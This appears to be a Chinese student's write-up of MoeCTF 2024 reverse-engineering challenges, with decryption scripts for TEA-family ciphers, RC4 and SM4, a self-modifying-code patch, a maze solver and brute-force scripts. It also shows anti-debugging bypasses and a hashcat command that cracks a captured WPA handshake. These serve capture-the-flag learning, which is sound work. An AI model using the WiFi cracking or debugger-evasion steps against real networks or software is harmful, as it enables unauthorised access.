有段c++的try-expect,没有反编译出来,据说ida9.0可以反编译,问题不大,看汇编是输入flag的地方
找到判断flag函数位置
似乎有反调试
更改main函数起始位置
这样就可以反编译
该位置有PEB动调检测
ZF改为1绕过if中!v4->BeingDebugged
判断
步进,ZF改为0绕过(ProcessParameters->Flags & 0x4000) != 0
发现ida动调无xmm寄存器,换x32dbg
一步步看xmm指令都干了什么
发现是每四个字节进行一次加密
这样的加密有三轮(仅异或初始值不同)
找到密文判断位置
取出密文
from idaapi import*
enc=get_bytes(0xE43658,60)
for i in enc:
print(hex(i), end=",")
逆向解密
enc=[0xc7,0xc4,0xc9,0xce,0xc2,0xd1,0x8b,0x66,0x6b,0x8d,0xb0,0x45,0xf9,0x84,0xff,0xb2,0x51,0xab,0xb3,0x4c,0x33,0xa8,0x61,0xe,0xc5,0x3b,0x5b,0xf9,0x11,0x82,0x8b,0x8e,0x7a,0x23,0x68,0x7a,0x21,0x1f,0x87,0x91,0x46,0x8d,0x90,0xa4,0xa5,0xe0,0x35,0xd9,0x41,0x4e,0x44,0xf1,0x37,0xaf,0x26,0x3a,0x8f]
key1=0x15
key2=0x1a
key3=0x19
offset=0x14
for i in enc:
dec=(((((i-offset)^key3)-offset)^key2)-offset)^key1
print(chr(dec%256),end="")
key1+=1
key2+=1
key3+=1
week 3
xtea
开了反调试,sub_7FF750D0119F
->sub_7FF750D048C0
发现xtea加密delta = 3439311803
a1为加密轮数(32),a2为明文(8bytes),a3为key(数组),delta 为 3439311803
key(v14):{2024} round(v12):32 明文长度(Str):12 加密逻辑:前八位xtea运算,后八位xtea运算,中间四位运算两遍
密文:
解密脚本
#include<stdio.h>
#include<stdint.h>
void decode(unsigned int num_rounds, uint32_t* v, uint32_t const key[4]) {
unsigned int i;
uint32_t v0 = v[0], v1 = v[1], delta = 3439311803, sum = delta * num_rounds;
for (i = 0;i < num_rounds;i++) {
v1 -= (((v0 * 16) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum >> 11) & 3]);
sum -= delta;
v0 -= (((v1 * 16) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]);
}
v[0] = v0;v[1] = v1;
}
int main() {
char enc[] = { 0xA3, 0x69, 0x96, 0x26, 0xBD, 0x78, 0x0B, 0x3D, 0x9D, 0xA5 ,0x28, 0x62 };
uint32_t const k[4] = { 2,0,2,4 };
unsigned int r = 32;
decode(r, (uint32_t*)(enc+4), k);
decode(r, (uint32_t*)enc, k);
printf("%s", enc);
}
xxtea
我勒个升级版的xtea啊,依旧是送分题!
- 据说 moectf2024!! 好像是key啊
反调试,DELTA为0x9E3779B9
密文为v11数组,n为9,key前12字节题目给了moectf2024!!
#include<stdio.h>
#include<stdint.h>
#include<iostream>
using namespace std;
#define DELTA 0x9E3779B9
uint64_t xxtea(int* a1, int a2, uint64_t a3)
{
uint64_t result; // rax
unsigned int v4; // [rsp+24h] [rbp+4h]
unsigned int v5; // [rsp+24h] [rbp+4h]
unsigned int v6; // [rsp+44h] [rbp+24h]
unsigned int v7; // [rsp+44h] [rbp+24h]
unsigned int v8; // [rsp+44h] [rbp+24h]
unsigned int v9; // [rsp+64h] [rbp+44h]
unsigned int v10; // [rsp+64h] [rbp+44h]
unsigned int j; // [rsp+84h] [rbp+64h]
int i; // [rsp+84h] [rbp+64h]
int v13; // [rsp+A4h] [rbp+84h]
int v14; // [rsp+A4h] [rbp+84h]
int v15; // [rsp+C4h] [rbp+A4h]
int v16; // [rsp+C4h] [rbp+A4h]
int v17; // [rsp+194h] [rbp+174h]
unsigned int v18; // [rsp+194h] [rbp+174h]
int v19; // [rsp+194h] [rbp+174h]
int v20; // [rsp+194h] [rbp+174h]
int v22; // [rsp+1C8h] [rbp+1A8h]
int v23; // [rsp+1C8h] [rbp+1A8h]
v22 = a2;
if (v22 <= 1)
{
if (v22 < -1)
{
v23 = -v22;
v14 = 52 / v23 + 6;
v10 = DELTA * v14;
v5 = *a1;
do
{
v16 = (v10 >> 2) & 3;
for (i = v23 - 1; i; --i)
{
v7 = a1[i - 1];
v19 = a1[i]
- (((v7 ^ *(uint32_t*)(a3 + 4i64 * (uint8_t)(v16 ^ i & 3))) + (v5 ^ v10)) ^ (((16 * v7) ^ (v5 >> 3))
+ ((4 * v5) ^ (v7 >> 5))));
a1[i] = v19;
v5 = v19;
}
v8 = a1[v23 - 1];
v20 = *a1
- (((v8 ^ *(uint32_t*)(a3 + 4i64 * (uint8_t)v16)) + (v5 ^ v10)) ^ (((16 * v8) ^ (v5 >> 3))
+ ((4 * v5) ^ (v8 >> 5))));
*a1 = v20;
v5 = v20;
v10 -= DELTA;
result = (unsigned int)--v14;
} while (v14);
}
}
else
{
v13 = 52 / v22 + 6;
v9 = 0;
v6 = a1[v22 - 1];
do
{
v9 += DELTA;
v15 = (v9 >> 2) & 3;
for (j = 0; j < v22 - 1; ++j)
{
v4 = a1[j + 1];
v17 = (((v6 ^ *(uint32_t*)(a3 + 4i64 * (uint8_t)(v15 ^ j & 3))) + (v4 ^ v9)) ^ (((16 * v6) ^ (v4 >> 3))
+ ((4 * v4) ^ (v6 >> 5))))
+ a1[j];
a1[j] = v17;
v6 = v17;
}
v18 = (((v6 ^ *(uint32_t*)(a3 + 4i64 * (uint8_t)(v15 ^ j & 3))) + (*a1 ^ v9)) ^ (((16 * v6) ^ ((uint32_t)*a1 >> 3))
+ ((4 * *a1) ^ (v6 >> 5))))
+ a1[v22 - 1];
a1[v22 - 1] = v18;
v6 = v18;
result = (unsigned int)--v13;
} while (v13);
}
return result;
}
int main()
{
char v[37] = { 100, -11, -31, 120, -31, -16, 53, -88, 52, -1, 18, 5, -5, 19, -23, -80, 80, -93, -71, -119, -79, -38, 67, -55, 79, -56, -37, 1, 32, -37, 22, -81, -19, 103, 23, -106, '\0'};
char k[20] = "moectf2024!!";
((int*)k)[3] = 3439311803;
int n = 9;
xxtea((int*)v, -n, (__int64)k);
cout << v << endl;
}
rc4
rc4是一种对称加密。等等,为什么要说对称?
函数名被混淆,找到入口
长的是密文,短的是密钥,在线网站一把锁
Just-Run-It
你了解二进制所属的运行环境吗?qemu是一个强大的帮手!
第四个程序搭建qemu虚拟机模拟运行riscv64架构
a=[87, 85, 49, 78, 122, 82, 106, 90, 106, 108, 105, 79, 88, 48, 61]
s=''.join(chr(i)for i in a)
print(s)
解出WU1NzRjZjliOX0=
xor(大嘘)
真的是xor吗(大嘘)
看似为经过sub_1B1100
加密后,按字节与byte_1B4058
进行验证
与异或加密dword_1B4078
进行16次一轮加密
enc与xor值
搓逆向解密脚本
from idaapi import *
enc = get_bytes(0x00C74058, 32)
key = get_bytes(0x00C74078, 16)
flag = ""
for i in enc:
print(hex(i), end=",")
print(key)
for i in range(32):
flag += chr(enc[i] ^ key[i % 16])
print(flag)
发现是fake flag,看来没那么简单
动调发现这一段数据,p创建函数
tea加密+异或
解密脚本
#include<stdio.h>
#include<stdint.h>
void decrypt(uint32_t* p, uint32_t* q, uint32_t* k) {
uint32_t v0 = *p, v1 =*q, sum = 0xC6EF3720, i;
uint32_t delta = 0x9e3779b9;
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];
for (i = 0;i < 32;i++) {
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= delta;
}
*p = v0;*q = v1;
}
int main() {
char x1[] = { 43,-14,-126,65,72,116,-99,-86,126,76,-38,4,8,44,-88,82,-105,119,-73,59,22,45,-44,-4,96,-66,-60,-74,115,25, -108,-121 };
char enc[] = { 0x3c,0xd,0x5,0x1f,0x30,0x6e,0x1e,0x30,0x4,0x3c,0x12,0x52,0x59,0x3,0x6d,0x52,0x4,0x4,0xb,0x33,0x1f,0x33,0x17,0x3b,0x17,0x1a,0x2b,0x7,0x55,0x4,0x5b,0x5a,0x0 };
uint32_t key[4] = { 0x6C6C6568 ,0x6F6D5F6F,0x66746365,0x34323032 };
for (int i = 0; i < 32; i++)
{
enc[i] = enc[i] ^ x1[i];
}
for (int i = 0; i < 4; i++)
{
decrypt((uint32_t*)(enc + 8 * i), (uint32_t*)(enc + 8 * i + 4), key);
}
for (int i = 0; i < 32; i++)
{
enc[i] = enc[i] ^ *((uint8_t*)key + i%16);
printf("%c", enc[i]);
}
}
week 4
d0tN3t
使用正确的工具进行逆向工程是成功的源头。
dnSpy
// Program
// Token: 0x06000001 RID: 1 RVA: 0x00002050 File Offset: 0x00000250
private static void <Main>$(string[] args)
{
byte[] array = new byte[]
{
173,
146,
161,
174,
132,
179,
187,
234,
231,
244,
177,
161,
65,
13,
18,
12,
166,
247,
229,
207,
125,
109,
67,
180,
230,
156,
125,
127,
182,
236,
105,
21,
215,
148,
92,
18,
199,
137,
124,
38,
228,
55,
62,
164
};
Console.WriteLine("Input Your Flag:");
string text = Console.ReadLine();
if (text.Length != array.Length)
{
Console.WriteLine("Flag is WRONG!!!");
return;
}
int num = 1;
for (int i = 0; i < array.Length; i++)
{
if ((byte)((int)((byte)text[i] + 114 ^ 114) ^ i * i) != array[i])
{
num &= 0;
}
}
if (num == 1)
{
Console.WriteLine("Correct Flag!!!");
return;
}
Console.WriteLine("Flag is WRONG!!!");
}
解密
def decode(enc):
for i in range(len(enc)):
print(chr(((enc[i]^i*i^114)+256-114)%256), end="")
enc=[1731461611741321791872342312441771616513181216624722920712510967180230156125127182236105212151489218199137124382285562164]
decode(enc)
moejvav
Java? Jaav? Jvva? Jvav!!
- 运行方式(建议使用java17及以上的版本: java -jar moejvav.jar)
查看源代码
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//
import exceptions.BuDaoLePaoException;
import exceptions.DxIsNanTongException;
import exceptions.GenshinImpactException;
import exceptions.LuoIsNotDogException;
import exceptions.NotSigninException;
import exceptions.NullCafeException;
import exceptions.StarrySkyMeowNotFoundException;
import exceptions.TokioEatWhatException;
import java.nio.charset.StandardCharsets;
import java.util.ArrayList;
import java.util.List;
import java.util.Scanner;
public class Main {
public Main() {
}
public static void main(String[] args) {
System.out.println("这里是moejvav! 请输入你的flag:");
Scanner scanner = new Scanner(System.in);
String flag = scanner.next();
if (flag.length() != 44) {
System.out.println("flag长度不对");
} else {
List<Byte> array = new ArrayList();
byte[] encodedFlag = flag.getBytes(StandardCharsets.UTF_8);
byte[] var5 = encodedFlag;
int var6 = encodedFlag.length;
int i;
for(i = 0; i < var6; ++i) {
Byte b = var5[i];
array.add((byte)((b ^ 202) + 32));
}
int[] vmInsn = new int[]{0, 1, 60, 2, -20, 6, -25, 0, 1, 60, 2, -20, 6, -27, 0, 1, 60, 2, -20, 6, -33, 0, 1, 60, 2, -20, 6, -31, 0, 1, 60, 2, -20, 6, -50, 0, 1, 60, 2, -20, 6, -36, 0, 1, 60, 2, -20, 6, -39, 0, 1, 60, 2, -20, 6, -24, 0, 1, 60, 2, -20, 6, -52, 0, 1, 60, 2, -20, 6, -29, 0, 1, 60, 2, -20, 6, -52, 0, 1, 14, 2, 5, 6, -64, 0, 1, 14, 2, 5, 6, -58, 0, 1, 14, 2, 5, 6, -63, 0, 1, 14, 2, 5, 6, -52, 0, 1, 14, 2, 5, 6, -90, 0, 1, 14, 2, 5, 6, -39, 0, 1, 14, 2, 5, 6, -43, 0, 1, 14, 2, 5, 6, 26, 0, 1, 14, 2, 5, 6, 25, 0, 1, 14, 2, 5, 6, -49, 0, 1, 14, 2, 5, 6, -64, 0, 1, 10, 2, 5, 6, -51, 0, 1, 10, 2, 5, 6, 25, 0, 1, 10, 2, 5, 6, -45, 0, 1, 10, 2, 5, 6, -55, 0, 1, 10, 2, 5, 6, -47, 0, 1, 10, 2, 5, 6, 24, 0, 1, 10, 2, 5, 6, -41, 0, 1, 10, 2, 5, 6, -60, 0, 1, 10, 2, 5, 6, 22, 0, 1, 10, 2, 5, 6, -40, 0, 1, 10, 2, 5, 6, -60, 0, 2, 14, 2, 10, 6, -15, 0, 2, 14, 2, 10, 6, 50, 0, 2, 14, 2, 10, 6, -51, 0, 2, 14, 2, 10, 6, -31, 0, 2, 14, 2, 10, 6, 50, 0, 2, 14, 2, 10, 6, 50, 0, 2, 14, 2, 10, 6, -35, 0, 2, 14, 2, 10, 6, 50, 0, 2, 14, 2, 10, 6, -35, 0, 2, 14, 2, 10, 6, 51, 0, 2, 14, 2, 10, 6, -17, 114514, 1919810};
Exception[] exceptions = new Exception[]{new BuDaoLePaoException(), new DxIsNanTongException(), new GenshinImpactException(), new LuoIsNotDogException(), new NotSigninException(), new NullCafeException(), new StarrySkyMeowNotFoundException(), new TokioEatWhatException(), new RuntimeException()};
i = 0;
int store = 0;
while(i < vmInsn.length) {
int insn = vmInsn[i];
++i;
try {
if (insn != 114514) {
throw exceptions[insn];
}
break;
} catch (BuDaoLePaoException var11) {
store = (Byte)array.get(0);
array.remove(0);
} catch (DxIsNanTongException var12) {
store ^= vmInsn[i];
++i;
} catch (GenshinImpactException var13) {
store += vmInsn[i];
++i;
} catch (LuoIsNotDogException var14) {
store &= vmInsn[i];
++i;
} catch (NotSigninException var15) {
store <<= vmInsn[i];
++i;
} catch (NullCafeException var16) {
store |= vmInsn[i];
++i;
} catch (StarrySkyMeowNotFoundException var17) {
if (store != vmInsn[i++]) {
vmInsn[i] = 7;
}
} catch (TokioEatWhatException var18) {
vmInsn[i] = 8;
} catch (Exception var19) {
Exception e = var19;
System.out.println("wrong flag, oh no...");
throw new RuntimeException(e);
}
}
System.out.println("输入的flag正确!");
}
}
}
先对flag进行 + 和 ^ 的异或运算->encodedFlag
vmInsn包含了对encodedFlag每一步的“异常”选择和运算数值,一般来说,0为读flag首字节到store并删除首字节,1-5为对store运算操作,1-6后必跟运算数值,其中,6为验证store与vmInsn[6->next]相等,倘若”对不上号“,则将当前比对位置换为7,下一轮进入TokioEatWhatException
,再将当前位置换为8,下一轮进入try时抛出exceptions中第8个异常RuntimeException
,被最后一个捕获,wrong flag。flag正确则vmInsn中不可能出现7和8,直到遇到114514,进入try后跳过throw,break掉,”flag正确“
0-8在exceptions中对应异常
写脚本时候,发现&和|都不可逆,但仔细观察可以发现,在vmInsn中没有3(&)以及5前面都是2(说明2不作为操作指令,而是作+运算的运算值)
💩:👇
def decode_flag():
# 指令集
vmInsn = [0, 1, 60, 2, -20, 6, -25, 0, 1, 60, 2, -20, 6, -27, 0, 1, 60, 2, -20, 6, -33, 0, 1, 60, 2, -20, 6, -31, 0,
1, 60, 2, -20, 6, -50, 0, 1, 60, 2, -20, 6, -36, 0, 1, 60, 2, -20, 6, -39, 0, 1, 60, 2, -20, 6, -24, 0, 1,
60, 2, -20, 6, -52, 0, 1, 60, 2, -20, 6, -29, 0, 1, 60, 2, -20, 6, -52, 0, 1, 14, 2, 5, 6, -64, 0, 1, 14,
2, 5, 6, -58, 0, 1, 14, 2, 5, 6, -63, 0, 1, 14, 2, 5, 6, -52, 0, 1, 14, 2, 5, 6, -90, 0, 1, 14, 2, 5, 6,
-39, 0, 1, 14, 2, 5, 6, -43, 0, 1, 14, 2, 5, 6, 26, 0, 1, 14, 2, 5, 6, 25, 0, 1, 14, 2, 5, 6, -49, 0, 1,
14, 2, 5, 6, -64, 0, 1, 10, 2, 5, 6, -51, 0, 1, 10, 2, 5, 6, 25, 0, 1, 10, 2, 5, 6, -45, 0, 1, 10, 2, 5,
6, -55, 0, 1, 10, 2, 5, 6, -47, 0, 1, 10, 2, 5, 6, 24, 0, 1, 10, 2, 5, 6, -41, 0, 1, 10, 2, 5, 6, -60, 0,
1, 10, 2, 5, 6, 22, 0, 1, 10, 2, 5, 6, -40, 0, 1, 10, 2, 5, 6, -60, 0, 2, 14, 2, 10, 6, -15, 0, 2, 14, 2,
10, 6, 50, 0, 2, 14, 2, 10, 6, -51, 0, 2, 14, 2, 10, 6, -31, 0, 2, 14, 2, 10, 6, 50, 0, 2, 14, 2, 10, 6,
50, 0, 2, 14, 2, 10, 6, -35, 0, 2, 14, 2, 10, 6, 50, 0, 2, 14, 2, 10, 6, -35, 0, 2, 14, 2, 10, 6, 51, 0,
2, 14, 2, 10, 6, -17, 114514, 1919810]
flag=""
action=[]
value=[]
i=0
while i < len(vmInsn):
if vmInsn[i]==0:
action.append(vmInsn[i])
elif 0<vmInsn[i]<7:
action.append(vmInsn[i])
i += 1
value.append((vmInsn[i]))
elif vmInsn[i]==114514:
print("full")
break
else:
print("error")
break
i += 1
while len(action)!=0:
insn=action.pop()
if insn==6:
store=value.pop()
elif insn==1:
store ^= value.pop()
elif insn==2:
store -= value.pop()
elif insn == 4:
store >>= value.pop()
elif insn == 5 or insn == 3:
print("impossible")
if insn==0:
flag+=chr(((store+256-32)%256)^202)
print(flag[::-1])
decode_flag()
sm4
你说的对,但是《sm4》是中国国家密码管理局发布的一种分组密码算法,也被称为国密 SM4 算法。 它是一种对称加密算法,用于替代 DES 和 AES 等传统的对称加密算法,算法在一个被称作「国家密码管理局」的幻想地方被发明,在这里,被管理局选中的密码将被授予「国密」,导引商业之力。你将扮演一位名为「Reverser」的神秘角色,在自由汇编语言的旅行中邂逅性格各异、能力独特的汇编指令们,和他们一起击败sm4,找回失散的flag——同时,逐步发掘「moectf」的真相。
flag长度为48,key为thekeytosomethin
,Data_plain储存输入
动态调试,打个断点,cyclic随机48个字符,其\0
结尾会覆盖掉key的第一个字符t,相当于key为\x00hekeytosomethin
本来想搓脚本解,但发现enc赋值完紧跟decode函数,对encode_Result(储存在栈中62FDD0地址)进行解密,再接着输出decode_Result即最初我们输入的48个随机字符(hex),如果我们修改decode_fun的第三个参数为encode_Result为enc呢?不就可以直接对enc解密并输出了
62FD20地址储存enc密文
62FD50地址储存Data_plain,即输入内容
62FD80地址储存key
62FD90地址储存decode_Result
62FDD0地址储存encode_Result
在程序运行完地址402258 lea rcx,qword ptr ss:[rbp+50]
指令,即取encode_Result地址62FDD0
存入rcx寄存器,此时相当于对下面的decode_fun函数传参encode_Result
此时将rcx寄存器值改为enc栈地址即62FD20
,接下来将对enc密文解密
在printf打断点即可输出对enc的解密
SMCProMax
SMC 是一种程序行为,指的是运行时程序自己修改自己,这给静态逆向造成了不少麻烦…
md,这题给我哭死,你说考SMC吧,怎么还整上汇编陷阱了,害我debug好久,真豪吃😋
SMC保护,简单来说,就是执行的指令被加密了,要通过执行程序过程中对其解密,才能正常执行,否则反汇编时只是一段加密数据
以下反编译对其解密的代码,很显然是将每字节和0x90进行异或
其实有两种方法,一种是静态解密数据,另一种是动态,这题让我两种都赤上辣
对loc_40105E
-byte_401427
地址进行异或解密,即如下
我们手动解密一下,shift+F12执行以下代码
from idaapi import*
addr=0x40105E
while addr!=0x401427:
byte=get_byte(addr)^0x90
print(hex(addr),byte)
patch_byte(addr,byte)
addr+=1
执行后,自动转换成汇编
在00401062
处摁p创建函数,这样我们就可以愉快的F5反编译了
反编译,眼花缭乱,分析可以发现是对每四个字符进行32轮加密,最后与密文比较,其中每轮加密中,为正(即首位为0)进行位左移操作,为负(即首位为1)则抛弃首位1,进行左移,再进行异或。
再分析,由于无论正负都进行左移操作,这样末尾必定是0,而异或的数0xC4F3B4B3未位为1,异或同0异1,借此,便可以进行条件判断进行逆向
异或总是伴随着失最高位1进行的,因此在逆向过程中,要进行补最高位
def decode(n):
for i in range(32):
if n % 2 == 1:
n = ((n ^ 0xC4F3B4B3) >> 1) + 2 ** 31
else:
n >>= 1
n &= 0xFFFFFFFF
string_value = n.to_bytes(4, byteorder='little').decode('ascii')
print(string_value,end="")
enc= [0x7A5FB55E,0xE2C3D742,0x9A6A18E5, 0xAB70ACD0,0x52C815D,0x3AD70A82,0x398E5EAA,0xFC4A5AF,0xB0011361,0xCECDD9C3]
for i in enc:
decode(i)
提交发现flag不对
找半天原因,动调半天,发现是0x3AD70A82
密文判断出错,一开始找到0x4876765f
传进ebp-24怎么变成0x5a76765f
,edit以后发现都判断通过了,继续探索发现栈中储存输入的flagH
被替换成了%
,可以肯定这个位置被替换或者运算掉了。
盯着这个位置动调发现原来在这个地方做了手脚
add ebx,17h
xor byte ptr[ebx],12h
pop ebx
其实在反编译时也是能看到这段操作的
BlackHole
VMProtect?丸辣!!等等,里面怎么有一张纸条?
多出这种简单题,爱赤
提示很明显了
爆破
import ctypes
import string
def brute_force_flag():
prefix = "moectf{"
eighth_char = 'c'
thirteenth_char = 'm'
letters = string.ascii_lowercase # 小写字母集
digits = string.digits # 数字集
for ninth_char in letters:
for tenth_char in digits:
for eleventh_char in letters:
for twelfth_char in letters:
for fourteenth_char in digits:
# 拼接成完整的 flag,注意双花括号来转义 '}'
flag = f"{prefix}{eighth_char}{ninth_char}{tenth_char}{eleventh_char}{twelfth_char}{thirteenth_char}{fourteenth_char}}}"
flag_bytes = flag.encode('utf-8')
flag_len = len(flag_bytes)
result = check_flag_func(flag_bytes, flag_len)
if result==1:
print("flag=",flag)
dll = ctypes.WinDLL("./you_cannot_crack_me.vmp.dll")
check_flag_func = dll.checkMyFlag
check_flag_func.argtypes = [ctypes.c_char_p, ctypes.c_size_t]
check_flag_func.restype = ctypes.c_int
brute_force_flag()
week 5
Cython-Strike: Bomb Defusion
《Counter-Strike 2》是一款风靡全球的第一人称射击游戏,在这里,你将以反恐精英的身份参与对局,从无线电中得知队友在B区发现了恐怖分子安放的炸弹,作为全队唯一一个手枪局起烟钳的瘤子,你的任务是迅速拆除它,并获取隐藏在炸弹中的机密情报(flag)!
pip装一下模块
需要python3.12版本
pip3.12 install bomb_defuse-1.14-cp312-cp312-win_amd64.whl
查看bomb_defuse
模块有什么用法
要输入密码获得flag
DefuseKit类提供一个read_memory方法,可以读内存
ida反编译了一下pyc没什么发现
那我们读内存数据试试
import bomb_defuse
bomb=bomb_defuse.Bomb()
reader = bomb_defuse.DefuseKit(bomb)
start=0x0
while 1:
try:
print(chr(int(reader.read_memory(start),16)),end='')
except:
pass
start+=1
得到
#deie MAX_ 0xffffffunsignd int ma;int pant_bb(unsigned int input){if input <= MAX_) {ma = input;rurn 0;} ese{retn -1;} }void explde_bmoid){void defe_mb(vid){}check_pd(unsgnedint inu){if(input> MAX_){explode_bb();}if((int ^ ma == 114) && (input << (ma % 5) + 1 == 60578736)){defuse_bb();rurn}explode_bb();retu;}
数据有缺失,让AI复原一下
#define MAX_ 0xFFFFFF // 定义最大值
unsigned int ma; // 定义一个全局变量 ma
// 函数:设置 ma 的值,如果 input 小于等于 MAX_,返回 0,否则返回 -1
int plant_bomb(unsigned int input) {
if (input <= MAX_) {
ma = input;
return 0;
} else {
return -1;
}
}
// 函数:模拟爆炸操作
void explode_bomb() {
// 实现省略,假设这是爆炸的逻辑
}
// 函数:模拟拆除炸弹的操作
void defuse_bomb() {
// 实现省略,假设这是拆除炸弹的逻辑
}
// 函数:检查输入是否合法
void check_pwd(unsigned int input) {
// 如果输入超过 MAX_,触发爆炸
if (input > MAX_) {
explode_bomb();
}
// 检查逻辑条件是否满足
if ((input ^ ma) == 114 && (input << ((ma % 5) + 1)) == 60578736) {
defuse_bomb();
return;
}
// 如果条件不满足,触发爆炸
explode_bomb();
return;
}
int main(){
set_ma(7355608);
cin>>input;
check_input(input);
}
这个判断逻辑我是真没整明白,plant_bomb下包以后ma应该等于input,拆包条件ai给(input ^ ma == 114)加上括号了,可恶。c语言中 == 优先级应该大于 ^(input ^ ma) == 114
岂不是无解?也不知道ma是不是指mask属性
所幸,如果看后一个条件input << ((ma % 5) + 1)) == 60578736
,ma % 5+1
一共就1、2、3、4、5这几种可能,再加上后4bit都是0,<< 5排除,如果按照mask为7355608的话那应当<< 4,也就是说后4bit都是运算得到的0
逆向得input=3786171
Counter-Terrorist Win!
ezMAZE
cfbb刚刚写完了他的数据结构实验作业就被拖过来出题了,由于刚刚好写了深搜和广搜的代码,于是即兴出了本题。
upx先脱壳
ida打开,分析发现是个迷宫题
一开始以为动调能出flag
flag错误,是我想的太简单了,看来不能走捷径
详细分析代码
scanf 1176次操作(wasd)
条件判断出flag
康康sub_1400010C0
是啥,果然通过传参的a1加密组合其他字符串生成flag,而上图传参byte_140005480
恰好是上上图scanf的东西
switch进行每一步操作的分类判断
wasd的前者是不出界判断,后者sub_140001190
就比较重要了,还好我的实验作业写过五子棋,一眼看出这些参数是对当前移动位置的判断
进去深探一下,比较复杂,不过可以根据if判断这是一个80*56的迷宫。byte_140005000
显然就是我心心念念的迷宫了,对于其脚本计算看似复杂
那就先看看byte_140005000
吧,并非像单字节0、1那样储存
或许是二进制数储存?有可能
n dup(m)指m重复n次
回到刚才被引用的地方,发现角标实际上对二进制位的计算
详细展开,对于10 * a2 - 10 + (a1 - 1) / 8
,a1为横坐标,a2为纵坐标,80*56,一个字节八位,对于10 * a2 - 10
,通过纵坐标
*10-10,看出十个字节一行,(a1 - 1) / 8
确定在第几字节内
(1 << (7 - (a1 - 1) % 8)) | v3
恒为1,即将该位置设为墙(1),不可折回
((int)v3 >> (7 - (a1 - 1) % 8)) & 1
中& 1
无意义,((int)v3 >> (7 - (a1 - 1) % 8))
进行定位字节取位操作
上述操作,按位取当前位置标志,0为通路,1为墙,所经设为1
shift+F2运行python脚本
from idaapi import *
bytes_addr = 0x140005000
bytes_size = 560
data = get_bytes(bytes_addr,bytes_size)
L = [bin(ch)[2:].rjust(8, '0') for ch in data]
cnt=0
h=1
for i in range(1,81):
if i >= 10:
print(i,end='')
continue
print(i,end=' ')
print()
for s in L:
cnt+=1
for i in s:
print (i,end=' ')
if cnt%10==0:
print(' '+str(h))
h+=1
md真大,手撸撸到死
不是哥们,怎么骂人呢
原来骂的不是我
原来这就是彩蛋
BFS,上payload
from collections import deque
bytes_addr = 0x140005000
bytes_size = 560
data = get_bytes(bytes_addr,bytes_size)
datalist = [bin(ch)[2:].rjust(8, '0') for ch in data]
def xx(data):
maze = [[0] * 100 for _ in range(100)]
cnt=0
h=0
for bytes in data:
if cnt%10==0:
l=1
h+=1
cnt+=1
for i in bytes:
maze[h][l]=int(i)
l+=1
return maze
maze=xx(datalist)
for i in maze:
print(i)
print(maze[55][76])
directions = {
'w': (-1, 0), # 上
'a': (0, -1), # 左
's': (1, 0), # 下
'd': (0, 1) # 右
}
# BFS 寻找最短路径
def bfs(start, end, maze):
queue = deque([start])
visited = set()
visited.add(start)
parent = {start: None} # 用来存储父节点,方便之后回溯路径
while queue:
current = queue.popleft()
if current == end:
break # 找到终点,停止搜索
for move, (dy, dx) in directions.items():
next_pos = (current[0] + dy, current[1] + dx)
if 0 <= next_pos[0] < len(maze) and 0 <= next_pos[1] < len(maze[0]) and maze[next_pos[0]][next_pos[1]] == 0:
if next_pos not in visited:
visited.add(next_pos)
queue.append(next_pos)
parent[next_pos] = (current, move)
# 回溯路径
path = []
step = end
while step != start:
step, move = parent[step]
path.append(move)
return ''.join(reversed(path))
start = (2, 2)
end = (55, 75)
path = bfs(start, end, maze)
print(path)
特工luo: 闻风而动
在一个宁静的夏夜,网络安全特工luo接到了一通紧急电话。电话那头,是他的上司——张,一位冷静而有威望的领导者。上司的声音充满了紧张与严肃:“Luo,我们的MOECTF比赛正受到黑客LQ和他的团队的威胁。他们企图通过破坏比赛,窃取参赛者的个人信息,并扰乱整个网络安全社区的秩序。” Luo意识到情况的严重性,立刻启程前往MOECTF的总部。他身穿一身黑色战斗服,手中握着最先进的网络防护设备和工具,准备随时应对可能出现的危险。随着夜幕的降临,Luo默默地进入了总部,开始了他对比赛安全的全面检查…不料,竟在比赛服务器上发现了一些访问痕迹和残留的文件,并且Luo发现了黑客LQ在破解比赛基地的WIFI密码的时候留下来的抓包文件,由于服务器的密码是和WIFI密码有一定的对应关系的,聪明的黑客LQ甚至留下了keygen来对Luo进行嘲讽…。
- 提示: WIFI密码文本在
acdefghilmnoprsuvwxyz
里面找,8位- flag 在flag.fromserver中
- 请注意,本系列题难度较大,新生请先完成所有简单及中等题目后再来尝试
- 故事剧情纯属虚构,如有雷同,就是故意,你来打我啊(做不出来别打我)
- 温馨提示:本题为Misc+Reverse混合类题目
对于keygen.exe
验证长度,每个字符分别异或68, 29, 74, 7, 68, 73, 27, 94,起转换密钥作用
通过hashcat hcxpcapngtool - advanced password recovery在线导出catflag.cap
为.hc22000
格式
根据限制条件hashcat爆破wifi密码
./hashcat -m 22000 -a 3 1964509_1727023344.hc22000 ?1?1?1?1?1?1?1?1 --custom-charset1=hilmnoprsuvwxyz
还得是4090,爆破挺快的,pwd:pzyisxnn
根据提示,用keygen.exe
将WiFi密码转换成对应加密key:4g3n71u0
服务端端口19731
nc监听,客户端连接,cmd发送数据,客户端接收数据后加密储存在flag.fromserver中
经测试发现,服务端开放端口,输入正确flag,客户端对ip地址进行请求,获取传输信息储存于flag.fromserver
仔细观察和调试反编译代码,发现cli端和srv端存在相似的加密
以下一段完全相同,但其参数不同进入不同的加密(上图第九个参数)
深入观察sub_45F630发现有点像DES加密,最有可能的ECB模式经测试发现都不对
输入长度66字符串,nc请求定向至文件,与程序外部加密对比
后看到这篇文章易语言支持库内加密数据的DES算法的分析 - Ah, I see! (monvvv.github.io),原来易语言和常规DES加密不太一样
该程序使用的易语言加密模块有两种加密方式,DES和RC4
在crv服务端为具有易语言特性的DES加密,key为4g3n71u0
在cli客户端(数据接收方)为RC4加密,key为flag.fromserver
易语言逆向解密
需要相应模块
.版本 2
.支持库 dp1
.程序集 程序集1
.子程序 _启动子程序, 整数型, , 本子程序在程序启动后最先执行
输出调试文本 (字节集到十六进制 (解密数据 (到字节集 (解密数据 (到字节集 (还原为字节集 (“c3a5b9d97da76bb3d703235f0357b325d061e9f9606727078d0cff0144c647b88e5b926e7e309336095ede1570d02284f33e60621edcbed29e52df72b78829b64af9ac9f683f1f22”)), “flag.fromserver”, 2)), “4g3n71u0”, 1)))
